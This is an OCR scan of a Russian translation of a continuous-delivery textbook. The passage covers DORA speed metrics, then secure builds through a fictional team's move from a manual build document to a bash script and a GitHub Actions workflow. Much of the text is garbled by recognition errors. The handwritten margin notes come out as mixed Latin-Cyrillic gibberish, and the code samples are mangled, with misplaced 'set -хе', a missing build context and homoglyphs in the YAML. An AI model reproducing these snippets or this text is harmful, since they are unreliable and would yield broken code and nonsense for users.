К.роме W\Ого, W\OЛt>KO W\aK можно coкpaWlиW\t> 
бремя досW1абки изменений ,  и не забудt>, ЧWIO 

Mt>I XOWlиM улучщиW1t> именно МеW1рику 
чacW10W1t>1 разберW1t>1бания1 

Они обсуждают этот план и соглашаются про
водить еженедельные развертывания и полно
стью отказаться от заморозки кода. 

----�------·-··--l 
Подробнее о развертыва-
нии, минимизации рисков 
и способах безопасного раз
вертывания см. в главе 10 .  

Книги для программистов: https://t.me/booksforits



Повышение скорости 

Повышение скорости 229 

Сэнди отслеживает метрики в течение следующих нескольких месяцев и наблюдает 
за разработкой функций, чтобы понять, ускоряется ли работа и каковы показатели 
DORA при отсутствии заморозки кода и более частом развертывании. 

Мелисса работает над интеграцией с новым стриминговым провайдером Ноте 
Movie Theatre Мах. На полную реализацию интеграции у нее уходит около 5 недель, 
и за это время происходит четыре развертывания, каждое из которых включает 
часть ее изменений. 

s фебраля 
Мелисса 

начи.наеWI 
разрабо>v1ку 

� � 

Мелисса 
v-.родолжаеWI 

осущес>v1бля>v11:> 
слияние PR 

кажд1:>1iА ден1:> или дба 

т т 

1. мар>v1а 
Мелисса 

забершаеW1 
ин>v1еzраци.ю 

HMV Мах 

� т 
1.1. фебраля 

Окно 
разбер>v11:>1 -

бани.я 

1.8 фебраля 
Окно 

разбер>v11:>1 -
бани.я 

25 фебраля 
Окно 

разбер>v11:>1 -
бани.я 

4 мар>v1а 
Окно 

разбер>v11:>1 -
бания 

Время доставки изменений Мелиссы составляет максимум 5 дней. Некоторые из
менения развертываются уже через день после слияния. 

Сэнди просматривает общую статистику Watch Ме Watch и обнаруживает, что 
максимальное время доставки изменений составляет 8 дней, но это редкость, по
скольку большинство разработчиков привыкли сливать изменения в главную ветку 
раз в один-два дня. Средние показатели при этом такие: 

� • Частота развертывания - один раз в неделю. Доби.мься высокой У1роизбоди -
• Время доставки изменений - 4 дня. 

Сэнди достиг цели:  по метрикам DORA для ско
рости Watch Ме Watch сравнялась с высокоэффек
тивными компаниями!  

WleЛЬНOCW\U. С V\OMOЩl:>IO ЭW\OU 
мемрики было мак же v-.ро 
смо, как измени.мь инмербалы 
межд!:J окнами разбермыбания. 

К.руw.о1 Tev-.ep1:> функции 
1.1 v-.рабда 81:>1ходяw. б1:>1с>v1рее. 

-------..:::,,,.. Я бол1:>ше не сомнебаюс1:>! 

К.роме w.ozo, разрабоw.чwкам 
де!Ас>v1б1.1w.ел1:>но нрабww.ся б1:>1клад1:>1баw.1:> 

сбою рабоw.у сразу, а не ждаw.1:> месяцам1.1 ,  
чw.об1:>1 наконец уб1.1деw.1:> разберw.1:>16ание 

своего кода ' 

Теперь Саша, Сара и Сэнди думают, как из высокоэффективных исполните
лей стать суперэффективными, но я приберегу это до главы 1 0 !  

Книги для программистов: https://t.me/booksforits



230 Глава 8. П ростая доставка начинается с контроля версий 

Заключение 
Компания Watch Ме Watch внедрила заморозку кода и редкие окна развертывания, 
чтобы сделать разработку более безопасной. Однако это лишь замедлило процесс. 
Оценив свою работу по метрикам DORA, в частности, связанным со скоростью, 
разработчики смогли наметить пути ускорения. 

Отказ от долгоживущих веток функций и от заморозки кода и увеличение ча
стоты развертывания сразу позволили улучшить метрики DORA. Благодаря новому 
подходу компания избавилась от ощущения, что работа над функциями занимает 
все больше и больше времени и конкуренты ее опережают, а разработчики стали 
получать больше удовлетворения от выполненных задач. 

Итоги 
• Команда DevOps Research and Assessment (DORA) определила четыре ключевые 

метрики для измерения производительности команд разработчиков и разбивки 
их по четырем категориям: низкоэффективные, среднеэффективные, высоко
эффективные и суперэффективные. 

• Частота развертывания, одна из двух связанных со скоростью метрик DORA, 
измеряет частоту развертывания на продакшен. 

• Другая связанная со скоростью метрика DORA - это время доставки измене
ний, которое характеризует время от завершения изменения до его запуска на 
продакшен. 

• Сокращение времени доставки изменений требует пересмотра и оптимизации 
методики CI. Чем лучше CI, тем меньше время доставки изменений. 

• Оптимизация методики CD за пределами CI часто предполагает пересмотр 
самой CI. 

• Частота развертывания напрямую влияет на время доставки изменений; увеличе
ние частоты развертывания, скорее всего, приведет к сокращению этого времени. 

Далее . . .  
В следующей главе мы рассмотрим главное преобразование, которое происходит 
с исходным кодом в пайплайне CD: сборку исходного кода в конечный артефакт, 
который будет выпущен (и ,  возможно, развернут) ,  а также способы безопасной 
сборки этого артефакта. 
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Безопасная 
и надежная сборка 

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  ' 

В этой главе 

" Безопасное проведение сборки путем ее автоматиза

ции, испол ьзования подхода «конфигурация как код» 

и запуска сборки на специализированном сервисе 

с поддержкой временных сред 

" Однозначная и уникальная идентифи кация артефак

тов с помощью семантического версионирования 

(SemVer ) и хешей 

" Исключение непредвиденных ошибок из зависимо

стей благодаря привязке последних к определенным 

уникальным версиям 

9 

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 

Сборка - неотьемлемая часть процесса непрерывной доставки (CD), так что задачи 
и пайплайны CD часто называют сборками. Наша любимая автоматизация процес
сов возникла из автоматизации сборки программных артефактов из их исходного 
кода в форму, в которой они используются и распространяются. 

В этой главе мы расскажем о типичных «подводных камнях» при сборке про
граммных артефактов, которые приводят к появлению багов и усложняют жизнь 
конечным пользователям этих артефактов, а также о том, как создавать такие пайп
лайны CD, которые позволят полностью избежать этих проблем. 
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Веб-сайт Тор Dog Maps 
Компания Тор Dog Maps запускает сайт по  поиску парков с площадками для выгула 
собак. Пользователи могут находить парки в определенном районе, оценивать их 
и даже отмечать их посещения. Пользователь с наибольшим количеством посещений 
становится вожаком стаи парка. 

ФНдо + n11Pr 

Архитектура сайта Тор Dog Maps состоит из нескольких сервисов, за каждый из 
которых отвечает отдельная команда: фронтенд-сервис, сервис поиска по карте 
и сервис пользовательских аккаунтов. 

Фронтенд
сервис 

Сервис 
пользовательских 

аккаунтов 
-? 

Каждый сервис распространяется и запускается как образ контейнера, а установкой 
сервисов управляет команда разработчиков фронтенда. Команды поиска по карте 
и пользовательских аккаунтов выпускают образы контейнеров сборки, а команда 
фронтенда решает, когда и где их устанавливать, чтобы они получали обновления 
в удобное время. 

В команде поиска по карте недавно произошли перестановки: Джулия, отвечав
шая за создание образа контейнера для сервиса поиска по карте, недавно перешла 
в другую компанию, в результате чего в команде образовалась вакансия. 
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Когда процесс сборки - это документ 
После того как Джулия покинула компанию Тор Dog Maps, кто-то из команды поиска 
по карте должен взять на себя создание образа для этого сервиса. К счастью, Мигель 
очень хочет улучшить процесс сборки и тут же вызывается выполнять эту работу. 

Первым делом он оценивает, как происходит создание образа для поиска по кар
те. Он быстро выясняет, что сборка выполняется в соответствии с инструкциями, 
которые Джулия написала в документе: 

Создание образа сервиса поиска по карте 

Ша г 1 :  

Клонируйте репозиторий  сервиса  поис ка п о  карте : 
$ git c lone git@github . com : topdogmaps/ma p - searc h . git 

Ша г 2 :  

Замените каталог репозиторием : 
$ c d  map - search  

Ша г 3 :  
Создайте образ контей нера : ( 
$ docker  build  - - tag top - dog - maps/map - search  . 

Ша г 4 :  
Поместите образ в реестр Тор Dog Maps : 
$ docker  push  top- dog - maps/ma p - search  

можно начамt>. 

Вьr уже замеwщлц , чмо 
у ЭМОZО оораза нем меzа 
берсцц? Не болнуймесь, 
я ооязамельно доберусь 
до эмоzо 1  А мка у Мцzеля 
есмь дела мбажнее. 

Мигель сразу же обнаруживает в процессе несколько проблем: 

• Процесс зависит от человека, который должен прочитать документ и правильно 
выполнить каждую инструкцию. Это чревато ошибками; легко случайно про
пустить какое-либо указание или сделать опечатку. 

• Шаги инструкции могут выполняться где угодно: на машине Джулии, на машине 
Мигеля и еще бог знает где! Согласованности нет, то есть сборка даже одного 
и того же исходного кода может привести к разным результатам, если шаги вы
полняются на разных машинах. 
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Атрибуты безопасн ых и надежных сборок 
Работая над планом улучшения процесса сборки, Мигель составляет список атри
бутов безопасных и надежных сборок, которыми, по его мнению, должен обладать 
сервис поиска по карте, а в перспективе - и остальные сервисы Тор Dog Maps: 

Постоянная 
rотовность 
к реnизу 

Автоматические 
сборки 

Сборка как код 

Использование 
сервиса CD 

Временные 
среды 

Исходный код всегда должен на-
ходиться в состоянии готовности 
к релизу 

Сборки должны выполняться 
автоматически, а не вручную 

Конфигурация сборки долж-
на рассматриваться как код 
и храниться в системе контроля 
версий 

Сборки должны происходить 
через сервис CD, а не на случай-
ных машинах, таких как рабочая 
станция разработчика 

Сборки должны происходить во 
временных средах, которые соз-
даются и сносятся при каждой 
сборке 

.Словарик 
Под сборкой, или билдом, 
имеется в виду задача 
(задачи) ,  которая осу
ществляет сборку про
граммных артефактов 
из исходного кода. 

Стандарты безопасного создания артефактов CD: SLSA 

Перечисленные выше требования заданы недавно появившимся набором 
стандартов для безопасного создания программных артефактов. Эти стандар
ты под названием « Уровни цепочки поставок для программнь1х артефактов» 
(Sиpply Chaiп Levels for Software Artifacts) ,  или сокращенно SLSA (произносится 
как «сальса» ), были созданы на основе внутренних стандартов Google, исполь
зуемых для обеспечения безопасности рабочих нагрузок приложений. SLSA 
(https ://slsa .dev) определяют ряд уровней безопасности при сборке артефактов, 
переход на которые осуществляется постепенно (инкрементно) .  Требования, 
которые здесь обсуждаются, взяты из требований к процессу сборки для до
стижения уровня 3 версии SLSA 0. 1 .  Если вас интересует безопасность цепочки 
поставок ПО, уровни SLSA - это то, что нужно, чтобы постепенно перейти от 
текущего состояния процесса сборки к более и более безопасным процессам. 

Книги для программистов: https://t.me/booksforits



Атрибуты безопасных и надежных сборок 235 

� Герметичные и воспроизводимые сборки 
Если ваш процесс сборки соответствует вышеперечисленным требованиям, 
он соответствует требованиям уровня 3 SLSA версии 0. 1 для сборок. (Обра
тите внимание, что в общем случае в SLSA существуют еще дополнительные 
требования к уровню 3; но здесь мы сосредоточились только на требованиях 
к сборке. )  

Если вы хотите повысить безопасность процесса, рассмотрите далее тре
бования SLSA для уровня 4, в особенности касающиеся обеспечения герме
тичности сборок (процесс сборки не должен иметь доступа к внешней сети 
и подвергаться внешним воздействиям, кроме собственных входных данных) 
и их воспроизводимости (все сборки с одними и теми же входными данными 
должны давать абсолютно одинаковый результат на выходе) .  

Это благие цели,  к которым стоит стремиться, но для их достижения 
может потребоваться немало усилий, особенно учитывая,  что текущий уро
вень инструментария CD не отличается широкой поддержкой герметичных 
и/или воспроизводимых сборок. Даже если вы используете сборки на основе 
контейнеров, большинство систем CD не гарантируют герметичность их вы
полнения (например, нельзя осуществить блокировку доступа к сети изнутри 
контейнера), и в них слишком легко создать невоспроизводимую сборку (ведь 
даже такие незначительные различия, как метки времени в результирующем 
артефакте, нарушают требование воспроизводимости) .  

Учитывая все сказанное, мониторьте тренды и следите за появлением 
дополнительных функций в этой области. А пока просто выполняйте пере
численные выше требования ! 
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Постоянная готовность к рел изу 
Рассмотрим каждое из требований, сформулированных Мигелем, более подробно, 
и начнем с поддержки исходного кода в состоянии постоянной готовности к релизу. 
Поддержанию кода в готовом к выпуску состоянии мы посвятили большую часть 
книги, в частности, изучая, как этому может помочь применение непрерывной ин
теграции (CI ) .  Помните, что непрерывная интеграция - это 

часто повторяющийся процесс внесения изменений в код с проверкой 
каждого изменения при внесении. 

Если каждое изменение проверяется при фиксации в коде (подробнее о том, в ка
кой именно момент проводить проверку, читайте в главе 7), программный продукт 
остается всегда готовым к релизу. 

К счастью, у команды поиска по карте уже есть надежный пайплайн непрерывной 
интеграции, который запускается при каждом изменении (и включает юнит-тесты, 
системные тесты и линтинг), поэтому команда абсолютно уверена, что новый образ 
сервиса можно создать в любое время. 

Выполнение 
линтинга 

Выполнение 
юнит-тестов 

'-Ф� ВАЖНО 

� 

Команда разраооW\Ч1АК06 сербцса 11\0IACKa 
11\О кapVV'le мддержцбаеW'I код в cocVV'loя -
HIAIA ZOVV\oвнocVV\IA к релцзу с 11\ОМОЩl::>Ю 
V\аUV\Лайна, 6ключающеzо ЛIAHVV\IAHZ, 
С1АСW'lемн1:11е 1А ЮHIAVV'l -VV'lecVV\1:11. 1 Выполнение 

системных тестов 

Используйте непрерывную интеграцию (как описано в главах 3-7), чтобы под
держивать код в готовом к выпуску состоянии. 

Автоматические сборки 
Второе требование, которое сформулировал Мигель, - это использование автома
тических сборок. Его, в свою очередь, можно разбить на два следующих требования: 

• Все этапы, необходимые для сборки артефакта, должны быть определены 
в скрипте. 
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• Выполнение этого скрипта должно инициироваться автоматически, без участия 
человека. 

Сравним их с неавтоматизированной сборкой: 

• Предполагается, что создатель артефакта «просто знает», что нужно делать (то 
есть последовательность шагов держится в голове и передается «из уст в уста») .  

• Шаги записаны в документе, который кто-то должен прочитать и действовать 
в соответствии с написанным. 

• Разрабатывается скрипт для сборки артефакта, но при этом требуется, чтобы 
кто-то запустил его вручную для создания артефакта. 

То, чем занимается команда разработчиков сервиса поиска по карте для создания 
образа контейнера, противоречит обоим требованиям, предъявляемым к автомати -
ческим сборкам: этапы сборки определены в документе, который нужно прочитать, 
и предполагается, что кто-то будет выполнять каждый из этих шагов вручную. 

-_(�� ВАЖНО 
Чтобы осуществлять автоматические сборки, определите все шаги сборки 
в скрипте и запускайте его автоматически. 

� Словарик 
Мы используем слово «скрипт» (или «сценарий») для обозначения серии ин
струкций, которые выполняются программными средствами (а не человеком) .  
Языки сценариев обычно интерпретируемые: каждая команда понимается 
и выполняется как есть, а не требует предварительной компиляции. В примерах 
этой главы в качестве языка сценариев мы будем использовать bash. О том, как 
эффективно использовать скрипты в задачах и пайплайнах, см. главу 12 .  

Сборка ка к код 
Третье требование, описанное Мигелем, заключается в том, что следует работать со 
сборкой как с кодом. Понятие «сборка как код» - это отсылка к идее «конфигурация 
как код» (см. главу 3 ) .  Обработка конфигурации как кода означает следующее: 

Хранить все текстовые данные, описывающие программный продукт, 
в системе контроля версий. 
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Понятие «сборка как код» - это просто ори -
гинальный способ сказать, что конфигурация 
сборки (и любые необходимые скрипты) явля-
ется частью текстовых данных, описывающих 
программный продукт: оно определяет, каким 
образом продукт из исходного кода становится 
готовым артефактом. 

Вследствие этого, чтобы рассматривать 
конфигурацию сборки как код, ее необходимо 
хранить в системе контроля версий и там, где 
это возможно, применять техники CI, которые 
были описаны для исходного кода, включая 
линтинг и даже тестирование, если конфигу
рация достаточно сложная. Но если не углу-

Вы хотите сказать, что 
для сборок нужно писать 

тесты? 

Зависит от обстоятельств! 
Мы поговорим об этом под
робнее в главе 12, но забегая 
вперед, скажу: как только 
скрипт превышает несколь-
ко простых строк, его не-
лишне протестировать, как 
и любой другой код. 

бляться столь сильно, то суть этого требования в том, чтобы хранить конфигурацию 
сборки в системе контроля версий вместе с кодом, который она собирает. 

Признаки того, что вы не рассматриваете сборку как код: 

• Установка и настройка сборок происходит исключительно через веб-интерфейс. 

• Инструкции по сборке и скрипты хранятся в документации. 

• Скрипты для управления сборкой составляются, но хранятся они не в системе 
контроля версий, а, например, на вашей машине или на общем диске. 

Поскольку команда сервиса поиска по карте хранит все инструкции по сборке в до
кументе (который кто-то должен прочитать и соблюдать), она (пока ! )  не обрабаты
вает сборку как код. 

' -Ф� ВАЖНО 
Чтобы реализовать на практике подход «сборка как код», храните конфигура
цию сборки и скрипты в системе контроля версий. 

Использование сервиса непрерывной 
доставки 
Следующее требование, сформулированное Мигелем, заключается в том, что для 
безопасных сборок необходимо использовать сервис CD, чтобы обеспечить согла
сованность способов запуска и выполнения сборки. 

Сервис CD, выполняющий сборки, может создаваться, размещаться и работать 
внутри компании или представлять собой экземпляр стороннего решения, тако
го как GitLab, размещенный внутри компании; либо это может быть полностью 
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облачный сервис, размещенный во внешней 
среде. Важно то, что сборка происходит в си
стеме CD, которая размещается и предлагается 
как действующий сервис (обзор систем CD 
см. в приложении А) .  Этот подход разитель
но отличается от подходов, не использующих 
сервисы CD: 

• Отсутствие требований к источникам ар
тефактов сборки. 

• Запуск сборок на собственной рабочей 
станции разработчика. 

• Запуск сборок на определенной рабочей 
станции (например, на компьютере под 
чьим-то столом) или на случайной вирту-
альной машине (VM, virtual machine) в об-
лаке, созданной специально для сборки. 

Если ваша компания разме
щает и использует собствен
ный сервис CD, с ним следует 
обращаться как с любым 
друтим рабочим сервисом, то 
есть запускать его на обо
рудовании, сконфиrуриро-
ванном и администрируемом 
с использованием тех же 
лучших практик, что и рабо
чее ПО (например, практики 
«конфигурация как код») .  

• Запуск сборок на рабочих серверах, на которых будут запускаться артефакты. 

Команда сервиса поиска по карте не предъявляет вообще никаких требований 
к месту сборки, и скорее всего, Джулия до сих пор выполняла сборку на своей ма
шине, поэтому этот процесс в команде определенно не соответствует очередному 
целевому критерию. 

'-Ф� ВАЖНО 
Чтобы обеспечить согласованность сборок, запускайте их в сервисе CD. 

/ 

Плохо ли Джулия выполняла свою работу? 

Похоже, что процесс сборки, которого придерживалась Джулия, не соответ
ствует почти ни одному критерию, которые сформулировал Мигель. Означает 
ли это, что Джулия плохо справлялась со своей работой? Действительно, до сих 
пор процесс сборки не был безопасным или надежным, но ведь он работал, не 
так ли? Зачастую CD представляет собой цикл настройки процессов, - кото
рые на момент своего запуска казались вполне подходящими, даже если в них 
и были изъяны, - и их дальнейшего пересмотра, как только они становятся 
приоритетными. Правда в том, что идеальных процессов не существует и про
цессы сборки всегда будут (и должны) развиваться с течением времени. Процесс 
Джулии работал достаточно хорошо (а зачастую это все, что нужно) ,  и до сих 
пор его не требовалось пересматривать. Не позволяйте лучшему стать врагом 
хорошего ! 
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Времен ные среды для сборки 
Последнее требование, которое обозначил Ми
гель, заключается в том,  что сборки должны 
происходить во временных средах. Слово «вре
менные» (иногда говорят эфемерные, ephemeral) 
здесь означает «длящиеся очень короткое вре
мя» ,  и временные среды именно таковы :  это 
среды, которые существуют очень недолго.  
В частности, они существуют только в тече
ние времени сборки и никогда не используются 
повторно. 

Эти среды сносятся и уничтожаются после 
завершения сборки и не используются ни для 
чего другого до сборки. Они могут создаваться 
по запросу или объединяться в пул, чтобы сра
зу быть готовыми к использованию; главное, 
чтобы они использовались для одной и только 
для одной сборки. Временные среды обычно не 
применяются в следующих случаях: 

• одна физическая машина для нескольких 
сборок (например, компьютер под чьим-то 
столом) ;  

Является ли сборка 

на виртуальной машине 
более безопасной, 

чем в контейнере? 

Контейнеры используют 
часть базовой операцион
ной системы совместно друг 
с другом и со своим хостом, 
поэтому существует неболь
шая вероятность перекрест
ного загрязнения. Однако ее 
можно свести к минимуму, 
запуская контейнеры с ми -
нимально необходимыми 
правами доступа и запретив 
запись в те части файловой 
системы, которые могут 
повлиять на другие контей
неры. 

• создание виртуальной машины и использование ее для нескольких сборок. 

Если среда сборки не будет использоваться повторно, значит, что-то, что способно 
повлиять на ее процесс, никогда не попадет из одной сборки в другую. Этого же 
эффекта при повторном использовании среды можно попытаться добиться, при
меняя ее автоматическую очистку между сборками, но это рискованно, поскольку 
всегда есть вероятность что-то упустить. Работа во временной среде гарантированно 
исключит перекрестное загрязнение сборок. 

Создать временную среду проще всего, используя новую виртуальную машину 
или новый контейнер для каждой сборки. Контейнеры все чаще применяются для 
временных сборок, потому что (по сравнению с виртуальными машинами) их очень 
быстро можно запускать и удалять. 

Как вы уже заметили, процесс сборки для сервиса поиска по карте сейчас можно 
запустить где угодно, поэтому он определенно не отвечает требованию временной 
среды. 
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Среда сборки - это окружение, в котором происходит сборка (то есть преоб
разование исходного кода в программный артефакт) .  Сюда входят ядро, опера
ционная система, установленные программы и файлы. С другой стороны, среду 
сборки можно представить как все файлы и программы, которые доступны для 
использования в процессе сборки и моrут повлиять на конечный артефакт. При
мерами распространенных сред сборки являются контейнеры и виртуальные 
машины, или же это может быть целый компьютер (он же «голое железо») ,  если 
не используется виртуализация или контейнеризация. 

План Миrеля 
Определив требования к безопасной и надежной сборке, Мигель оценивает процесс 
сборки сервиса поиска по карте на соответствие этим требованиям: 

Постоянная rотовность Да - сервис поиска по карте уже следует передовой 

к релизу п рактике CI и проверяет каждое изменение при реги-
страции с помощью линтинга, системных и юнит-тестов 

Автоматические сборки Нет - сборки выполняются вручную 

Сборка как код Нет - шаги сборки описаны в документе, который дол-

жен использовать человек 

Использование сервиса CD Нет - скорее всего, сборки выполняются на машине 

Джулии 

Временные среды Нет - среда, в которой п роисходит сборка, не контроли-

руется 

Им еще многое предстоит сделать, но Мигелю не терпится начать, потому что по
сле того, как он определил все критерии и оценил текущий процесс в соответствии 
с ними, у него появилось четкое представление, как двигаться дальше. Ero план 
включает два этапа: 

1 .  Переход от рукописных инструкций в документации к скрипту, размещенному 
в системе контроля версий. Это позволит реализовать принцип «сборка как код» 
и обеспечит как минимум половину условий для автоматизации сборок, то есть 
сборку в виде скрипта. 

2 .  Переход от сборки на машине разработчика к использованию сервиса CD и вы
полнению сборок в контейнерах. Это обеспечит выполнение оставшейся части 
требований: вторую половину автоматизации сборок (автоматический запуск) ,  
использование сервиса CD и, наконец, временную среду сборки. 
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От документаци и  к скрипту в системе 
контроля версий 
Первый шаг, который нужно сделать, чтобы преобразовать процесс сборки нашего 
сервиса поиска по карте, - это переход от ручных инструкций в документации 
к скрипту, зарегистрированному в системе контроля версий. К счастью, Джулия 
облегчила Мигелю эту задачу, потому что хотя она и не дошла до создания скрипта, 
она записала в своем документе все команды для возможного скрипта: 

Создаем образ сервиса поиска по карте 

Ша г 1 :  
Клонируем репозиторий  сервиса  поиска по карте : 
$ git с lопе git@github . com : topdogmaps/ma p - search . git 

Ша г 2 :  
Меняем каталог н а  репозиторий : 
$ cd map - search  

Ша г З :  

Создаем образ контейнера : 
$ docker build  - - tag top- dog -maps/ma p - search  

Шаг  4 :  
Помещаем образ в реестр Тор Dog Maps : 
$ docker  push  top- dog - maps/ma p - search  

Используя документ Джулии в качестве отправной точки, Мигель создает первона
чальный Ьаsh-скрипт: 

set -хе  HeкoW1.opt:J1e лучище 1'\ри -
# ! / u s r/biп/eпv s h  } 
cd " $ ( d i rпame " $0 " ) "  

мept:J1 из Ьаsl нмаблонов. 

docker  build  - -tag  top- dog - maps/ma p - search  
docker push  top- dog - maps/ma p - search  ......____ 

Шаги 3 и 4 из докуменW1.а 
Ажулии. 

Поскольку этот скрипт будет находиться в том же репозитории, что и исходный код, 
Мигель не включает в него шаги 1 и 2, но они обязательно появятся на следующем 
этапе. Он коммитит скрипт в репозиторий, и первый этап завершен. Содержимое 
репозитория выглядит следующим образом: 

. pyliпtrc  Образ создаеWl.СЯ на основе ЭWl.OZO Dockerfi(e ' .  Он Wl.акже мo -
Doc kerfile ...____ жeWI. находиWl.t�ся в 0W1.делt�ном KaWl.aлoze в ремзиW1.ории -
map/ ЭWl.O HOpMaA/:JHO! Главное, ЧWl.Oбtit КОНфиzура/,\иЯ для сборки 
search/  кода храниласt:J вмесW1.е с кодом. 
test/  
build . s h � 
арр . ру 
README . md 
requ irements . txt 

Новt:J1й cкpиl'\WI. Миzеля, заменяющий 
докуменWI. Ажулии. 

' Dockerfile - это файл Docker, который содержит инструкции для сборки образа. - Примеч. пер. 
Книги для программистов: https://t.me/booksforits



Автоматические контейнерные сборки 243 

Автоматические контейнерные сборки 
Сценарий помог пройти часть пути, но Мигель не собирается долго отдыхать! Даль
ше ему нужно выбрать логику сборки: 

• запускается автоматически; 

• запускается посредством сервиса CD; 

• запускается в контейнерах. 

На сайте Тор Dog Maps уже используется GitHub Actions для CI, поэтому Мигель 
решает использовать GitHub Actions и для автоматизации сборки сервиса поиска 
по карте: 

name : Build  Мар Search  Service 
оп : 

p u sh : 
branches : [ main ] ..... .._ ___ _ 

jobs : 
b u i ld - and - pu s h : 

Задача будем ЗаV\ускамDСЯ V\ри V\ереносе в глав 
ную вемку, мо есмD V\ри каждом слиянии PR. 

Задача ch.eckoиt вымлняем 
run s - on : ubunt u - latest шаги J.. и 2 из докуменма Джулии ,  
containe r : docker : 20 . 10 . 12 � явно V\роверяя ремзиморий.. 
steps : ,! 

- uses : actions/checkout@v2 На эмом шаге будем заV\ущен скриV\М 
- name : Run Build  Script bиild.sh., коморD1й. МигелD молDко чмо 

создал внумри конмей.нера. MDI оV\ускаем 
демали ауменмификации , коморD1е МигелD 
макже должен ODIЛ включимD, чмооD1 ом 
V\равимD молDко чмо созданнD1й. образ. 

run : . /build . sh ,.._ 

Этим изменением Мигель завершил второй этап обновления процесса сборки сер
виса поиска по карте! 

Конфигурация рабочего процесса GitHub Actions должна быть зафиксирована 
в репозитории, чтобы GitHub подхватил ее (а также потому, что ее в любом случае 
необходимо внести в репозиторий, чтобы выполнить условие «сборка как код» ) ,  
поэтому содержимое репозитория теперь выглядит следующим образом: 

. github/  
workflows/ 

build . yml 
. pylintrc  
Doc kerfile 
map/ 
search/  
test/  
build . s h  
а рр . ру 

Эмом фай.л YAML содержим V\ред
шесмвующую конфигурацию CiitHиb 

,.____ Actioм в мом месме, где CiitHиb 
ожидаем ее найми. 

R EADME . md 
requi rement s . txt 
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� Автоматизация сборки с помощью Github Actions 

Нужно ли создавать скрипт для контейнерных сборок, как это сделал 

Мигель? 

Скорее всего, вам это не понадобится. Популярные системы CD часто включа
ют специализированные и повторно используемые задачи, например Actions 
в GitHub Actions. 

Мигель мог использовать специфичную для Docker задачу GitHub, чтобы 
не создавать свой собственный скрипт, проверяющий исходный код и осу
ществляющий его сборку и отправку. 

Однако Мигель продвигается постепенно (инкрементно), внедряя изме
нения по одному, - это надежно. Следующим логическим изменением этой 
конфигурации будет использование официальной задачи GitHub Action для 
Docker и, возможно, полная замена скрипта. (А чем меньше собственных 
скриптов, тем лучше! Подробнее о скриптах см. в главе 12 . )  

А что, если я не использую GitHиb Actioпs? 

Разумеется, ничего страшного! GitHub Actions приведен здесь просто в каче
стве примера. Какую бы систему CD вы ни использовали (некоторые вари
анты см. в приложении А), главное, чтобы она соответствовала требованиям 
Мигеля. 

По возможности выбирайте систему, поддерживающую реализацию на ос
нове контейнеров - стандарт изолированного выполнения задач. Реализация 
на базе виртуальных машин также соответствует требованиям изолирован
ности, но использование только виртуальных машин приводит к замедлению 
времени выполнения и к стремлению выполнять несколько задач на одной 
машине, чтобы его избежать. Как следствие, задачи начинают включать 
в себя слишком много действий и их становится сложно поддерживать или 
повторно использовать. 
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Безопасная и надежная сборка 
Миrель завершил оба этапа: создал скрипт, настроил его на запуск с помощью 
GitHub Actions и внес его в GitHub - и теперь заново оценивает процесс работы 
команды: 

Постоянная готовность Да - сервис поиска по карте уже следует лучшим п рак-

к релизу тикам С1 и проверяет каждое изменение при регистра-

ции с помощью линтинга, системных и юнит-тестов 

Автоматические сборки Да - шаги сборки определены в скрипте, который за-

пускается с помощью GitHub  Actions всякий раз, когда 
главная ветка находится в рабочем состоянии 

Сборка как  код Да - и скрипт, содержащий шаги сборки, и конфигу-

рация GitHub  Actions (то есть полная конфигурация 

сборки) фиксируются на GitHub  

Использование сервиса CD Да - используется GitHub  Actions 

Временные среды Да - по умолчанию GitHu b  Actioпs будет выполнять 

каждое задание на новой виртуальной машине, а Мигель 

еще и использует новый контейнер внутри нее 

Миrель успешно справился с поставленными задачами. Он уверенно сообщает дру
гим командам Тор Dog Maps, что сборка сервиса поиска по карте стала безопасной 
и надежной ! 

Нужно ли выпускать релиз при каждом коммите, чтобы осуществлять 

автоматические сборки ? 

Ми гель настроил конфигурацию GitHub Actions на создание нового образа при 
каждом коммите, но для автоматических сборок это не обязательно. Требуется 
только, чтобы их инициирование было каким-то образом автоматизировано. 
Другой распространенный подход - запуск новых сборок при добавлении 
тега в репозиторий, о чем вы узнаете чуть позже. 

-_(�� ВАЖНО 
Чтобы добиться безопасности и надежности сборок, используйте сервис СО, 
который способен выполнять задачи в контейнерах, и принцип «сборка как 
код» (он же «конфигурация как код») .  занося все скрипты и конфигурацию 
в репозиторий вместе с собираемым кодом. 
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� Ваш ход: что мы упустили? 
Команды разработчиков других сервисов заинтересовались методикой Ми
геля, но в ходе работы с ними он обнаруживает в их процессах странности, 
которые явно не соответствуют требованиям методики. Для каждого из 
следующих технологических решений определите, какое требование оно 
нарушает: 

1 .  Все сборки фронтенд-сервиса выполняются на виртуальной машине, вы
деленной несколько месяцев назад. До и после каждой сборки запускается 
скрипт для очистки виртуальной машины и удаления элементов, остав
шихся после других сборок. 

2 .  Сборки для сервиса пользовательских аккаунтов запускает раз в неделю 
специалист по сборкам в команде сервиса. 

3 .  Члены команды фронтенд-сервиса имеют полный набор системных те
стов, которые выполняются перед выпуском нового релиза и его развер
тыванием. Они запускаются только в этот отрезок времени.  

4. Этапы сборки сервиса пользовательских аккаунтов прописаны в файле 
Makefile и выполняются билд-инженером команды. 

5. Сборки фронтенд-сервиса выполняются в сервисе CD с полнофункцио
нальным веб-интерфейсом. Вся конфигурация сборок задается и редак
тируется через веб-интерфейс. 

� Ответы 
1 .  Это не соответствует требованию наличия временной среды для осу

ществления сборки. Даже если команда пытается поддерживать вирту
альную машину в чистоте с помощью скрипта, нет гарантии, что удастся 
вычистить все. 

2 .  Запуск сборок вручную означает, что сборки сервиса пользовательских 
аккаунтов не соответствуют требованию автоматизации. 

3 .  Команда фронтенд-сервиса совершенно не справляется с непрерывной 
интеграцией! Откладывая системные тесты, нельзя гарантировать, что 
код всегда готов к выпуску. 

4. Использование Makefile - это нормально (при условии, что он внесен 
в репозиторий) ,  но проблема в том, что сборки выполняются билд
инженером там, где он считает нужным, а не сервисом CD. 

5 .  Размещая конфигурацию только в веб-интерфейсе, команда не следует 
принципу «сборка как код».  
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Изменения интерфейса и ба ги 
Мигель, возможно, и улучшил процесс сборки сервиса поиска по карте, но к со
жалению, кое-что все еще может пойти не так! А начинается все с самых благих 
намерений: устранения технического долга. 

У команды сервиса поиска по карте появляется немного времени,  чтобы вер
нуться к некоторым давним незавершенным изменениям, и она решает изменить 
интерфейс самого важного метода, предоставляемого их сервисом: метода search .  
После создания сервиса в метод search  естественно добавлялись новые параметры, 
